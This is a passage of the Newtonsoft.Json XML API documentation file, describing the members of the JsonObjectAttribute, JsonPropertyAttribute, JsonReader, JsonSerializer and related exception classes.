</member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member 